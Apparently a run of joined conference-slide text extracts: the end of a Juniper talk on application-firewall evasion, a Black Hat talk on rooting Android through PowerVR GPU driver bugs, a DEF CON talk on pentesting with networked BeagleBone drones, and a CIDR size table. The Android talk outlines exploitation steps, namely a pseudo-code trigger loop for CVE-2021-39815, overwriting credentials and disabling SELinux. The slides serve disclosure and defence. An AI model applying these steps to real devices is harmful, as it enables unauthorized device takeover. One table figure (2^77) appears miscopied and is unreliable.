APPLICATION PROTOCOLS 2/4 1. Initially before the Application ID completes see that Layer 7 processing is enabled for the session 35 Copyright © 2011 Juniper Networks, Inc. www.juniper.net UNKNOWN APPLICATION PROTOCOLS 3/4 1. We send some traffic 2. Once Application ID completes, no more Layer 7 processing even with Full IPS Enabled!! 3. Further analysis showed that the traffic was being fast pathed in the ASIC NPU at this point, the packets weren’t even being sent to the processor where FW / IPS is handled! 4. By Default! 36 Copyright © 2011 Juniper Networks, Inc. www.juniper.net UNKNOWN APPLICATION PROTOCOLS 4/4 1. Application Level Exchange 37 Copyright © 2011 Juniper Networks, Inc. www.juniper.net OBFUSCATION 1. Encryption: You can’t really use a signature. A common technique is if a protocol is unknown, to measure the randomness of data (entropy) to determine if it is encrypted. Typically this can’t tell what the application is, but rather that it is an unknown encrypted application. 2. Steganography: Hiding a message in plain sight. This is a very hard problem to solve, an Application Firewall or IPS likely won’t be able to detect this. Bayesian-like filtering would need to be used to improve detection. 3. Tunneling: Applications can be tunneled in other protocols (e.g. GRE, IPinIP, SSL, and many other derivatives. Application Firewall may not be able to detect inner protocols. <BitTorrent Client> Data: 474554202F616E6E6F756E63653F696E666F5F68 6173683D... <BitTorrent Server> Data: 485454502F312E3020323030204F4B0D 0A436F6E74656E74... Encrypted BitTorrent Application, no standard pattern. 38 Copyright © 2011 Juniper Networks, Inc. www.juniper.net APPID W/O PATTERN MATCHING 1. Some application identification isn’t based upon application signatures at all. This is especially true of encrypted applications where pattern match is not reliable. 2. Some detection may be based upon IP Address, for instance classifying known P2P Supernodes or TOR exit points based upon IP address and not based on an actual pattern match or other heuristic method. 3. Some detection is a combination of IP based matching and pattern matching for other aspects of the traffic. 39 Copyright © 2011 Juniper Networks, Inc. www.juniper.net WHAT DOES APPLICATION FIREWALL CHANGE? It is a step better than Stateful Firewall alone, but a subset of real IPS. It’s a lightweight way to keep honest applications honest, compared to IPS (thus likely a lower cost). If already using a solid firewall + IPS implementation, it can save IPS time by not inspecting unwanted “honest” applications. Can be used to block unknown encrypted communication, but some obfuscation methods like steganography are likely to evade. 40 Copyright © 2011 Juniper Networks, Inc. www.juniper.net FUTURE TRENDS FOR APPLICATIONS 1. More applications running over HTTP, more applications leveraging SSL encryption (even for non- HTTP protocols.) 2. Smarter applications that are more efficient such as SPDY, but also applications that include encryption/compression for maximum efficiency. 3. Evasive applications will go to great lengths to hide themselves. Expect to see more custom encryption, along with encryption within SSL. 4. Expect malicious/evasive applications to try to blend in with regular traffic. Using methods of standard encryption and also advanced mechanisms like steganography. 41 Copyright © 2011 Juniper Networks, Inc. www.juniper.net SOLVING LIMITATIONS IN APPFW 1. Application / Protocol Anomaly Detection 2. Full IPS for Exploit Protection 3. Disable Caching 4. Check default settings Stateful Firewall: 1. Deploy with full stateful FW 2. Leverage L3/L4 IPS Protections and Session Control 3. Always use a tight FW rulebase with strict control on source/destination IP Addresses + L4 Protocol/Ports Network Access Control 1. Strict control over access to the network. 2. Quarantine guest/compromised hosts. Full IPS: 1. Full IPS solution should be used with appropriately tuned policy on top of Stateful FW + Application FW. 2. Leverage Protocol Anomaly Protection to detect evasion techniques 3. Don’t just use IDS mode! Malware Protection 1. Network Based Malware protection and URL Filtering can be helpful, but additional protection is needed. 2. Desktop Malware protection is still required to protect against advanced threats In addition, everything you already know still holds true 42 Copyright © 2011 Juniper Networks, Inc. www.juniper.net Questions and Answers? - [email protected] – Twitter: @bradmatic517 Q&A
pdf
Android Universal Root Exploiting xPU Drivers Xingyu Jin Richard Neal Jon Bottarini #BHUSA  @BlackHatEvents #BHUSA   @BlackHatEvents Who are we? Jon Bottarini @jon_bottarini Xingyu Jin @1ce0ear Richard Neal @ExploitDr0id #BHUSA   @BlackHatEvents What are we talking about? ● Rooting exploits on Android ○ In-the-wild ○ Internal research ● Android Partner Vulnerability Initiative #BHUSA   @BlackHatEvents Some old driver vulns #BHUSA   @BlackHatEvents mtk-su Exploit #BHUSA   @BlackHatEvents XDA Developers #BHUSA   @BlackHatEvents XDA Developers #BHUSA   @BlackHatEvents 6f35a3ff: /dev/ion 4b4ab49b: /dev/mtk_cmdq 6d7a00fc: /proc/mtk_cmdq Reverse engineering the exploit #BHUSA   @BlackHatEvents ● CMDQ_IOCTL_EXEC_COMMAND ○ Send a buffer of opcodes from user -> kernel ○ Opcodes - CMDQ_CODE_ENUM CVE-2020-0069 #BHUSA   @BlackHatEvents ● Restrict access via SELinux policy: ● Can't open device node: ● SELinux Fix #BHUSA   @BlackHatEvents Lessons Learned #BHUSA   @BlackHatEvents GPU Driver: Perfect Local Attack Surface ● It’s impossible to restrict unprivileged users from accessing GPU driver ● GPU device driver exports a lot of functionality to userspace ● Mobile GPU ○ ARM: Mali ○ Qualcomm: Adreno ○ Imagination Technologies: PowerVR Google received a lot of security reports Only 1 in 2019 #BHUSA   @BlackHatEvents PowerVR GPU is everywhere ● PowerVR may have the biggest market share in numbers (MediaTek / UniSoc) Use PowerVR GPU #BHUSA   @BlackHatEvents Intro to Bridge APIs ● No surprise, unprivileged user can talk to PowerVR GPU driver ● PowerVR GPU driver exports hundreds of kernel functions to userspace ○ Exported functions are called “Bridge functions” by PowerVR developers ● Three steps ○ Open device ○ Send ioctl code and arguments ○ Get response #BHUSA   @BlackHatEvents Intro to Bridge APIs ● Bridge APIs #BHUSA   @BlackHatEvents Intro to Bridge APIs ● Overview of how Bridge APIs work ● Every step is buggy #BHUSA   @BlackHatEvents Heap overflow in Bridge APIs ● Call Bridge API PVRSRVBridgeSyncPrimOpTake ○ Group ID 2, Function ID 9 ● Input data structure PVRSRV_BRIDGE_IN_SYNCPRIMOPTAKE ● Calculate kernel buffer size based on user input ○ Integer overflow #BHUSA   @BlackHatEvents Heap overflow in Bridge APIs ● GPU driver does have a a lot of “sanity checks” ○ Always by checking if an unsigned integer is above 0 :-/ ● Massive trouble: every bridge API is written in this way ○ Several CVEs are assigned for this issue. ○ Good news: sometimes integer overflow cancels itself #BHUSA   @BlackHatEvents Race Condition in Bridge APIs ● Invoke internal kernel functions ○ Create object ○ Use object ○ Release object #BHUSA   @BlackHatEvents Race Condition in Bridge APIs ● Bridge API X ○ Create internal kernel object ○ Use kernel object for computation ○ Return a handle to user ● Bridge API Y ○ Find kernel object by handle ○ Decrement reference count #BHUSA   @BlackHatEvents Race Condition in Bridge APIs #BHUSA   @BlackHatEvents Race Condition in Bridge APIs #BHUSA   @BlackHatEvents Read Uninitialized Heap Memory in Bridge APIs ● Copy result back to user ○ Initialize the kernel object ○ Copy kernel object data back to user space #BHUSA   @BlackHatEvents Read Uninitialized Heap Memory in Bridge APIs ● Copy result to user back ○ do_something(A) ○ A->data is copy back to user space Fail early -> A is not initialized ● Easy leak kernel heap pointer / KASLR bypass (Arbitrary slab size) #BHUSA   @BlackHatEvents Bridge APIs: Summary ● There are other issues ○ Reference count overflow ○ Arbitrary stack overflow ○ Unlink UAF ○ … Please see also our reference slide later ● Classic memory corruption / race condition bugs ● These bugs are exploitable for rooting PowerVR devices ○ No more introduction, we have something … much more powerful #BHUSA   @BlackHatEvents PowerVR Memory Management: GPU VA <-> PA ● CPU VA <-> PA ● GPU VA <-> PA ● GPU VA <-> PA <-> CPU VA #BHUSA   @BlackHatEvents PowerVR Memory Management: GPU VA <-> PA ● PMR (Physical Memory Resource) ○ Call Bridge APIs => obtain a PMR handle ○ Use PMR handle for mapping GPU / CPU virtual memory Create PMR How many physical pages? How many virtual pages? GPU/CPU memory properties Sparse memory mapping table … -2 pages BOOM #BHUSA   @BlackHatEvents PowerVR Memory Management: GPU VA <-> PA ● Corrupt GPU VA mapping ○ Map to arbitrary physical memory we want GPU VA mapping All kinds of object handles The number of mapped pages Physical page offset … Memory properties Offset = -2 BOOM #BHUSA   @BlackHatEvents PowerVR Memory Management: GPU VA <-> PA ● If we want to operate ARM64 IOMMU ○ Then operate the IOMMU in an ARM64 way for sure ● User space can invoke a typical Bridge API and point out to the driver that we want to operate the ARM64 IOMMU in… ○ MIPS way first… New architecture: ARMIPS #BHUSA   @BlackHatEvents PowerVR Memory Management: GPU VA <-> PA ● Now we can operate the IOMMU in MIPS way on ARM64 architecture ● Completely corrupt the page tables ○ E.g. viewing weird data from mmap syscall immediately #BHUSA   @BlackHatEvents PowerVR Memory Management: CPU VA <-> PA ● Now let’s take a look at the CPU side ○ CPU VA <-> PA #BHUSA   @BlackHatEvents PowerVR Memory Management: CPU VA <-> PA ● Reserve physical pages, get PMR handle hPMR ● Get mapped CPU virtual memory by mmap ○ mmap(hDev, ..., hPMR << PAGE_SHIFT) PMR->iRefCount = 3 (1 by default) ● Tracking the number of memory mappings for security purposes by PMR->iRefCount #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Pinned Memory (According to Nvidia official web page) ○ Pinned memory is used for data transfers from the device to the host. ○ Allocate physical memory => Avoid cost in data transfer #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● “Pinned” physical pages reserved by PMR ○ PVRSRVBridgeDevmemIntPin ● “Unpinned” physical pages reserved by PMR ○ PVRSRVBridgeDevmemIntUnpin #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Allocate page A, B, C ● Unpin page A, B, C ○ g_sUnpinList: {A, B, C} #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Register Linux kernel shrinker ● A shrinker is an internal kernel callback routine ○ When memory is tight => free pages from g_sUnpinList #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Allocate page A, B, C ● Unpin page A, B, C => g_sUnpinList: {A, B, C} ● Unpin page A, B, C => g_sUnpinList: {A, B, C, A, B, C} #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● CVE-2022-20122 Free arbitrary page arbitrary time by Unpin API ○ PVR_ASSERT(psOSPageArrayData->bUnpinned == IMG_FALSE) ● PVR_ASSERT is enabled for code static analysis checker only ○ #if defined(__KLOCWORK__) ○ In production, it does nothing :-/ ○ PVR_ASSERT is not enabled in production :-/ #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Let’s visit the existing security checks ○ If physical pages are mapped to somewhere else (PMR->iRefCount > 1) ○ The physical pages are not allowed to be unpinned #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● The following request is illegal ○ hPMR = create_pmr() // PMR->iRefCount == 1 ○ mmap(..., hPMR) // PMR->iRefCount == 2 ○ unpin_mem(hPMR) // Failed because iRefCount > 1 #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● The following request is legal ○ hPMR = create_pmr() // PMR->iRefCount == 1 ○ unpin_mem(hPMR) // Succeed, move pages from PMR to shrinker ○ mmap(..., hPMR << PAGE_SHIFT) #BHUSA   @BlackHatEvents PowerVR Memory Management: Pinned Mem ● Effectively trigger shrinker callback ○ for (int i = 0; i < 0x40000; i++) { hPMR = create_pmr(); unpin_mem(hPMR); va[i] = mmap(..., hPMR << PAGE_SHIFT); } ● CVE-2021-39815 (Discovered in late Feb, 2022) ○ A subtle logic bug ○ User space can R/W arbitrary freed physical pages!! ● PowerRoot #BHUSA   @BlackHatEvents PowerRoot: Bypass SELinux ● Some devices don’t allow you to mmap GPU device ○ allow appdomain dri_device (chr_file (ioctl read write open)) => no mmap ● Who has the privilege to mmap GPU device? ○ allow hal_graphics_composer_default dri_device (chr_file (ioctl read write getattr lock append map open watch watch_reads)) ● Create OpenCL project ○ void* svm_mem = cl::SVMAlloc(...) ○ SVM (Shared Virtual Memory) still works #BHUSA   @BlackHatEvents PowerRoot: Bypass SELinux ● opencl.so ○ Implemented by several vendor specific libraries ■ PVR + MTK libraries ● Reverse engineering these vendor libraries ○ Rigorous security checks on user space library #BHUSA   @BlackHatEvents PowerVR GPU: Bypass SELinux #BHUSA   @BlackHatEvents PowerRoot: Root ● A lot of methods to root devices by CVE-2021-39815 ○ Corrupt page tables ○ Corrupt binaries… ○ Attack kernel in a “memory corruption” way ● Similar to root devices by dirtypipe vulnerability ○ You may load a kernel module (@iGio90) by dirtypipe vulnerability ○ PowerRoot: more powerful than dirtypipe vulnerability #BHUSA   @BlackHatEvents PowerRoot: Root ● Search task_struct by name ○ Find cred by task_struct->cred ● Spam files for arb R/W ○ Search file structure by file->f_cred ○ E.g. control ashmem file->private_data #BHUSA   @BlackHatEvents PowerRoot: Root ● Dump kernel image ○ PMR->szAnnotation field (char[]) specified by user space PMR contains .data, .text, .rodata pointers ● Dumping enough kernel data => find where is the possible address of selinux_enforcing (e.g. possible signs of SELinux avc structures) ● Overwrite cred ○ Write combined page => snoop CPU #BHUSA   @BlackHatEvents Android Partner Vulnerability Initiative (APVI) ● Launched in late 2020 - Google-discovered security issues outside of AOSP code that could potentially affect the security posture of an Android device or its users ● 52 security issues publicly disclosed - https://bugs.chromium.org/p/apvi ● Any person or team within Google that discovers a Android partner security issue Android Partner Vulnerability Initiative (APVI) Disclosure to Android OEM Partners Detection of affected Partner builds Public Disclosure + Patch Advisory Other Google Employees Android Security & Privacy Google Threat Analysis Group #BHUSA   @BlackHatEvents Vendor Patch + Disclosure Process “Imagination Technologies supports and is appreciative of initiatives to improve our products. We will continue to engage with Google’s APVI program, and others in the security community, to benefit our whole industry.” Disclosure to Imagination Technologies Disclosure to Android OEM Partners Public Disclosure on APVI Issue Tracker Ensure that partners have the ability to implement patches Ensure that ImgTec can remediate security issues + issue patches Ensure that the public is aware of these issues, to increase transparency Statement from Imagination Technologies: #BHUSA   @BlackHatEvents Driver Developers ● Security review of the driver purpose and design ● Fuzz testing and code review ● Lock down to minimal required access #BHUSA   @BlackHatEvents Researchers ● xPUs introduce CPU/xPU memory-visibility issues ● PowerVR seems under-researched ● Vulnerability research is interesting, fun, and frustrating #BHUSA   @BlackHatEvents Resources Find a bug that affects a driver in a Pixel device? ● Submit that bug here: https://bughunters.google.com/report NPU drivers with memory mapping issues ● CVE-2021-1940, CVE-2021-1968, CVE-2021-1969 ● CVE-2020-28343, blog Fuzzing Kernel Drivers with Interface Awareness: ● https://www.blackhat.com/docs/eu-17/materials/eu-17-Corina-Difuzzing-Android-Kern el-Drivers.pdf
pdf
We are Legion: Pentesting with an Army of Low-power Low-cost Devices Philip Polstra Hacker in Residence University of <Redacted> @ppolstra http://polstra.org What is this talk about? ● Hacking and/or forensics with small, low-power devices ● ARM-based Beagleboard & Beaglebone running full suite of security/forensics tools ● Porting tools to a new platform ● Performing coordinated attacks with networks of devices Who am I? ● Professor & Hacker in Residence at private Midwestern university ● Programming from age 8 ● Hacking hardware from age 12 ● Also known to fly and build airplanes Roadmap ● Choosing a platform ● Selecting a base OS ● Building a base system ● The easy part – leveraging repositories ● The slightly harder part – building tools ● Building your own accessories ● Solo Demonstrations ● Networking with 802.15.4 ● Attack Networks ● Future directions Choosing a Platform ● Small ● Low-power ● Affordable ● Mature ● Networking built in ● Good USB support ● Convenient input and output And the Winning Platform is... ● Beagleboard-xM/BeagleBone Black – 3.25” square/ 3.4” x 2.1” – <10 Watts – Only $149 / $45 – Based on Cortex A8 – 512MB RAM – 100 Mbps Ethernet built in – 4/1 high-speed USB plus USB-on-the-go – DVI-D, S-video, and LCD output – RS-232, webcam, audio, and microSD Beagleboard-xM BeagleBone Black (aka Raspberry Pi killer) I know at least one of you will ask... ● Why not Raspberry Pi? – Not as powerful – Doesn't run Ubuntu (ARM6 not supported) – Not truly open (Broadcom won't release info) – Not as mature – Cost savings for full-featured platform are slight – Limited availability (especially in USA) Selecting a Base OS ● Angstrom comes in the box – Optimized for hardware – Nice package management – Poor repository support for our purposes ● Ubuntu is available – Backtrack is based on Ubuntu – Ubuntu is very popular – Good repository and community support Building a Base Device ● Upgrade to 16GB microSD (8GB would work, 2GB on BBB way too small) ● Download an image for microSD card – Canonical image or – Robert C. Nelson demo images – I used Nelson's because they are tweaked for Beagleboard and updated frequently ● Good instructions available at http://elinux.org/BeagleBoardUbuntu The Easy Part – Using Repositories ● Many of the tools we want are available in the standard Ubuntu repositories ● Some are also available as .deb files – Packages written in interpreted languages (Java, Python, PERL, Ruby) usually work out of the box – C-based packages depend on libraries that may or may not be available/installed The Harder Part – Building Your Own Tools ● Native or cross-compile? ● Native – Straightforward – Can be slow on 1GHz ARM with 512 MB RAM ● Cross-compile – A bit more complicated – Take advantage of multi-core desktop with plenty of RAM Native Compilation ● “Sudo apt-get install build-essential” is about all you need to be on your way ● Something to keep in mind if you SSH in and use DHCP on BB-xM: Ethernet is via USB chipset and MAC address varies from one boot to next which leads to different address being assigned Cross-Compile Method 1 ● Download a toolchain “wget http://angstrom- distribution.org/toolchains/angstrom-<ver>-armv7a...” ● Untar toolchain “tar -xf angstrom-<ver>-armv7a-linux-gnueabi- toolchain.tar.bz2 -C” ● Setup build environment “. /usr/local/angstrom/arm/environment-setup” ● Download source ● Configure with “./configure --host=arm-angstrom-linux-gnueabi – prefix=/home/...” ● Build with “make && sudo make install” ● Copy binaries to BB-xM ● Could have problems if there is a kernel mismatch between setup and what is installed to BB-xM Cross-Compile Method 2 ● Install a toolchain as in Method 1 ● Install Eclipse ● Install C/C++ Development Tools in Eclipse ● Download software ● Use makefile to create Eclipse project ● Create a Build Configuration in Eclipse ● Compile ● Move binaries to BB-xM Cross-Compile Method 3 ● Same as Method 2, but with the addition of remote debugging ● Has advantage of easy transfer of binaries ● In Eclipse under Mobile Development add – C/C++ DSF GDB Debugger Integration – C/C++ Remote Launch – Remote System Explorer End-User Runtime – Remote System Explorer User Actions ● Great tutorial by Jan Axelson at http://lvr.com/eclipse1.htm Building Your Own Hardware Accessories Power Your Drones ● Beagles take standard 2.1 x 5.5 mm barrel connector ● Battery voltage above 5V is wasted as heat ● Bare board can run for several days off standard batteries ● LCD touchscreens require lots of power! ● Leaching off of USB power from a target is ideal ● Be careful with WiFi and 802.15.4 ● Set transmit power to minimum ● Take advantage of sleep modes on 802.15.4 radios Power Options 802.15.4 Hardware 802.15.4 Hardware Containers Containers Plantables Plantables Capes ● Work in progress – Socket for Xbee radio – Network switch for installing inline – USB hub – Optional 802.11 wireless – Optional battery pack Demo 1 - Hardware Demo 1 - Hardware Demo 1 – Our Favorite Exploit Demo 1 (contd.) Demo 2 – Wifi Cracking Demo 2 (contd.) Demo 2 (contd.) Demo 3 – Password Cracking Demo 4 – WPS Cracking Demo 4 (contd.) Demo 5 – Pwn Win7 Like Its a Mac Demo 5 (contd.) Demo 6 – Clickiddiestm 802.15.4 Networking ● Basics ● Hardware ● Simple case: 2 Xbee adapters ● Slightly harder case: multiple adapters one at a time ● Hard case: multiple adapters simultaneously ● Really Hard case: true mesh network 802.15.4 Basics ● Typically used in low-power embedded systems ● Regular (100') and Pro (1 mi) versions ● AT and API modes of operation ● Low-speed (250 kbps max) ● Supports multiple network topologies – Peer to Peer – Star – Mesh Xbee Hardware ● Manufactured by Digi ● Regular and Pro formats are interchangeable and interoperable ● Uses 2 mm pin spacing – Most breadboards are 0.1” or 2.54 mm – Requires an adapter ● Several antenna options ● Be careful not to use S2 or ZB series which are the same dimensions, but are not compatible Xbee Adapters ● UART (serial) adapters – Can be wired directly to Beagles using 4 wires – Don't take up USB ports Xbee Adapters (contd) ● USB Adapters – More expensive – Helpful for initial setup – Easier to setup: just plug it in Simple Case: 2 Xbee Adapters ● Xbee modules must be configured for desired network topology ● Digi provides X-CTU software for configuration, but it only runs on Windows ● Recently Moltosenso has released Network Manager IRON 1.0 which runs on Linux, Mac, and Windows – free edition is sufficient for our limited usage Configuring Xbee Modules ● Place Xbee module in USB adapter and connect to PC running X-CTU or IRON ● Select correct USB port and set baud rate (default is 9600) ● From Modem Configuration tab select Read to get current configuration ● Ensure modem is XB24 and Function Set is XBEE 802.15.4 ● Set the channel and PAN ID (1337?) noting the settings which must be the same for all modems ● Pick a Destination Low and Destination High address for the other adapter (say 2 and 0) ● Set the My Address to a chosen value (say 01) ● Click Write to stored the new config on the Xbee ● Repeat this process on the second Xbee but reverse the addresses ● The modules should now talk to each other just fine Wiring the Xbee to Beagles If you splurged for the USB adapter you can just plug in to a USB port – BeagleBone has only 1 USB port which you might want for something else – BeagleBoard has 4 USB ports ● Using the UART interface slightly more complicated – Connect 4 wires: 3.3V, Ground, TX, RX – Configure the Beagle multiplexer for proper operation Setting up a UART Interface ● Appropriate pins & modes in Beagle manuals ● For BeagleBone UART2 – 3.3V & Ground P9 pin 3 & 1, respectively – TX P9 pin 21 (to Xbee Din) – RX P9 pin 22 (to Xbee Dout) – Configure BeagleBone (White not black ● echo 1 > /sys/kernel/debug/omap_mux/spi0_d0 ● echo 21 > /sys/kernel/debug/omap_mux/spi0_sclk – BBB uses new kernel – see my blog for details – Test connection by connecting terminal program to /dev/ttyO2 (not a zero) ● Recommend against using UART on BeagleBoard – 1.8V logic levels requires level shifting – Slightly more complicated software configuration Simple Case: Accessing your single drone ● By default Xbee adapters operate in transparent mode ● Setup TTY on drone and you can login in with terminal program – Simple – Works with interactive programs – If you go out of range you are still connected when you return Slightly Harder Case: Multiple Drones One at a Time ● Configure drones as with the single drone case but with different MY addresses ● Use terminal program on command console to connect to drones one at a time ● Simple: no programming required ● Must enter AT command mode to switch between drones – Enter “+++” (no enter) and wait for OK – Enter “ATDL0002 <enter>” to select drone 2 – Enter “ATWR <enter>” to write to NVRAM – Enter “ATCN <enter>” to exit command mode Trivial example of Two Drones in TTY Mode Slightly Harder Case: Multiple Drones Simultaneously ● API mode is used vs. AT mode ● Configure Xbee with X-CTU – For Series 1 stick with 802.15.4 Function Set – For Series 2 (ZB) ● Drones set to Function Set ZNET 2.5 ROUTER/ENDDEVICE API 1347 ● Controller set to Function Set ZNET 2.5 COORDINATOR API 1147 ● Multiple choices for communication – Java xbee-api – Python-xbee (what I used) – Raw commands to TTY device ● Recommended for most situations involving 3 or more devices Multiple Drone Communications ● Really this is a point-to-multipoint topology ● For each drone communication appears to be simple peer-to-peer ● API mode provides better performance and allows simpler software operation Multiple Drones Using Python: One Possibility ● Each drone runs a simple Python script which waits for commands and sends announcements ● Controller listens for announcements/responses and sends commands (all activity is logged) ● Upside is that it lends itself easily to scripting ● Downside is that it doesn't support interactive shells (yet) ● Announcements can be sent to controller for important events (such as successful cracking) ● Code is available at http://polstra.org Trivial Example with Two Drone – API Mode Using Python Python Mode (continued) Python Mode (continued) Python Mode (continued) Harder Case: True Mesh Network ● Only recommended when larger number of drones or when devices are too far apart ● Will negatively impact battery life ● Requires series 2 (aka ZB) Xbee adapters ● No changes to scripts are required Networked attacks – Simplest Case ● In the simplest case there is only 1 drone ● Networking is peer-to-peer ● Allows hacking from a distance – Better WiFi hacking when drone is in building – Drone runs 24x7 – Drone can run for days off battery – Important updates such as successfully cracked passwords can be sent to master periodically in case you weren't in range when they happened – Drone has full version of The Deck – lots of possibilities – Less conspicuous than sitting outside the building – If you are lucky you can patch into wired network – If you are extra lucky they use Power Over Ethernet! Networked Attack with Multiple Drones ● One process on master monitors status updates from all drones ● Interactive shell into each drone – Multiple subshells can be created – Processing continues if master disconnects ● Endless possibilities since each drone has full version of The Deck ● Drone are easily retasked based on objectives achieved by other drones Future Directions ● Continue to add useful packages as need arises ● Optimize some packages for BB-xM/BBB ● Other output devices ● Exploit USB OTG functionality ● Make The Deck fly (literally) – September 12th ● Hack over the Internet with 802.15.4 gateway Bibliography ● General BeagleBoard xM/BeagleBone http://beagleboard.org ● Installing Ubuntu on Beagles http://elinux.org/BeagleBoardUbuntu ● Cross-compiling for Beagles by Jan Axelson http://www.lvr.com/eclipse1.htm ● Instructions on how to build The Deck http://www.instructables.com/id/The-Deck-Portable-Penetration-Testing-and-Forens/ ● My blog where updates will be posted http://ppolstra.blogspot.com/2012/09/introducing-deck-complete-pentesting.html ● Download link for The Deck (warning 6 GB) http://www.udcis.org/TheDeck/thedeck-v1.0-44con-ed.tar.gz ● Getting Started with Xbee by Parallax http://www.parallax.com/portals/0/downloads/docs/prod/book/122-32450-XBeeTutor ● General information on Xbee modules from the manufacturer http://digi.com ● Download Moltosenso Network Manager IRON software http://www.moltosenso.com/#/pc==/client/fe/download.php Questions? Come see me in Q&A lounge after
pdf
/0 2^32 4,294,967,296 2^128 340,282,366,920,938,463,463,374,607,431,768,211,456 /1 2^31 2,147,483,648 2^127 170,141,183,460,469,231,731,687,303,715,884,105,728 /2 2^30 1,073,741,824 2^126 85,070,591,730,234,615,865,843,651,857,942,052,864 /3 2^29 536,870,912 2^125 42,535,295,865,117,307,932,921,825,928,971,026,432 /4 2^28 268,435,456 2^124 21,267,647,932,558,653,966,460,912,964,485,513,216 /5 2^27 134,217,728 2^123 10,633,823,966,279,326,983,230,456,482,242,756,608 /6 2^26 67,108,864 2^122 5,316,911,983,139,663,491,615,228,241,121,378,304 /7 2^25 33,554,432 2^121 2,658,455,991,569,831,745,807,614,120,560,689,152 /8 A 16,777,216 2^24 16,777,216 2^120 1,329,227,995,784,915,872,903,807,060,280,344,576 /9 2^23 8,388,608 2^119 664,613,997,892,457,936,451,903,530,140,172,288 /10 2^22 4,194,304 2^118 332,306,998,946,228,968,225,951,765,070,086,144 /11 2^21 2,097,152 2^117 166,153,499,473,114,484,112,975,882,535,043,072 /12 2^20 1,048,576 2^116 83,076,749,736,557,242,056,487,941,267,521,536 /13 2^19 524,288 2^115 41,538,374,868,278,621,028,243,970,633,760,768 /14 2^18 262,144 2^114 20,769,187,434,139,310,514,121,985,316,880,384 /15 2^17 131,072 2^113 10,384,593,717,069,655,257,060,992,658,440,192 /16 B 65,536 2^16 65,536 2^112 5,192,296,858,534,827,628,530,496,329,220,096 /17 2^15 32,768 2^111 2,596,148,429,267,413,814,265,248,164,610,048 /18 2^14 16,384 2^110 1,298,074,214,633,706,907,132,624,082,305,024 /19 2^13 8,192 2^109 649,037,107,316,853,453,566,312,041,152,512 /20 2^12 4,096 2^108 324,518,553,658,426,726,783,156,020,576,256 /21 2^11 2,048 2^107 162,259,276,829,213,363,391,578,010,288,128 /22 2^10 1,024 2^106 81,129,638,414,606,681,695,789,005,144,064 /23 2^9 512 2^105 40,564,819,207,303,340,847,894,502,572,032 /24 C 256 2^8 256 2^104 20,282,409,603,651,670,423,947,251,286,016 /25 2^7 128 2^103 10,141,204,801,825,835,211,973,625,643,008 /26 2^6 64 2^102 5,070,602,400,912,917,605,986,812,821,504 /27 2^5 32 2^101 2,535,301,200,456,458,802,993,406,410,752 /28 2^4 16 2^100 1,267,650,600,228,229,401,496,703,205,376 /29 2^3 8 2^99 633,825,300,114,114,700,748,351,602,688 /30 2^2 4 2^98 316,912,650,057,057,350,374,175,801,344 /31 2^1 2 2^97 158,456,325,028,528,675,187,087,900,672 /32 2^0 1 2^96 79,228,162,514,264,337,593,543,950,336 /33 2^95 39,614,081,257,132,168,796,771,975,168 /34 2^94 19,807,040,628,566,084,398,385,987,584 /35 2^93 9,903,520,314,283,042,199,192,993,792 /36 2^92 4,951,760,157,141,521,099,596,496,896 /37 2^91 2,475,880,078,570,760,549,798,248,448 /38 2^90 1,237,940,039,285,380,274,899,124,224 IP Address Block Size Equivalents in Classful Addressing, IPv4, and IPv6 CIDR Classful unused since 1993 IPv4 deployed in 1981 IPv6 deployed in 1999 CIDR prefixes in blue boxes are common distribution sizes. /39 2^89 618,970,019,642,690,137,449,562,112 /40 2^88 309,485,009,821,345,068,724,781,056 /41 2^87 154,742,504,910,672,534,362,390,528 /42 2^86 77,371,252,455,336,267,181,195,264 /43 2^85 38,685,626,227,668,133,590,597,632 /44 2^84 19,342,813,113,834,066,795,298,816 /45 2^83 9,671,406,556,917,033,397,649,408 /46 2^82 4,835,703,278,458,516,698,824,704 /47 2^81 2,417,851,639,229,258,349,412,352 /48 2^80 1,208,925,819,614,629,174,706,176 /49 2^79 604,462,909,807,314,587,353,088 /50 2^78 302,231,454,903,657,293,676,544 /51 2^77 151,115,727,451,828,646,838,772 /52 2^76 75,557,863,725,914,323,419,136 /53 2^75 37,778,931,862,957,161,709,568 /54 2^74 18,889,465,931,478,580,854,784 /55 2^73 9,444,732,965,739,290,427,392 /56 2^72 4,722,366,482,869,645,213,696 /57 2^71 2,361,183,241,434,822,606,848 /58 2^70 1,180,591,620,717,411,303,424 /59 2^69 590,295,810,358,705,651,712 /60 2^68 295,147,905,179,352,825,856 /61 2^67 147,573,952,589,676,412,928 /62 2^66 73,786,976,294,838,206,464 /63 2^65 36,893,488,147,419,103,232 /64 2^64 18,446,744,073,709,551,616 /65 2^63 9,223,372,036,854,775,808 /66 2^62 4,611,686,018,427,387,904 /67 2^61 2,305,843,009,213,693,952 /68 2^60 1,152,921,504,606,846,976 /69 2^59 576,460,752,303,423,488 /70 2^58 288,230,376,151,711,744 /71 2^57 144,115,188,075,855,872 /72 2^56 72,057,594,037,927,936 /73 2^55 36,028,797,018,963,968 /74 2^54 18,014,398,509,481,984 /75 2^53 9,007,199,254,740,992 /76 2^52 4,503,599,627,370,496 /77 2^51 2,251,799,813,685,248 /78 2^50 1,125,899,906,842,624 /79 2^49 562,949,953,421,312 /80 2^48 281,474,976,710,656 /81 2^47 140,737,488,355,328 /82 2^46 70,368,744,177,664 /83 2^45 35,184,372,088,832 /84 2^44 17,592,186,044,416 CIDR Classful unused since 1993 IPv4 deployed in 1981 IPv6 deployed in 1999 /85 2^43 8,796,093,022,208 /86 2^42 4,398,046,511,104 /87 2^41 2,199,023,255,552 /88 2^40 1,099,511,627,776 /89 2^39 549,755,813,888 /90 2^38 274,877,906,944 /91 2^37 137,438,953,472 /92 2^36 68,719,476,736 /93 2^35 34,359,738,368 /94 2^34 17,179,869,184 /95 2^33 8,589,934,592 /96 2^32 4,294,967,296 /97 2^31 2,147,483,648 /98 2^30 1,073,741,824 /99 2^29 536,870,912 /100 2^28 268,435,456 /101 2^27 134,217,728 /102 2^26 67,108,864 /103 2^25 33,554,432 /104 2^24 16,777,216 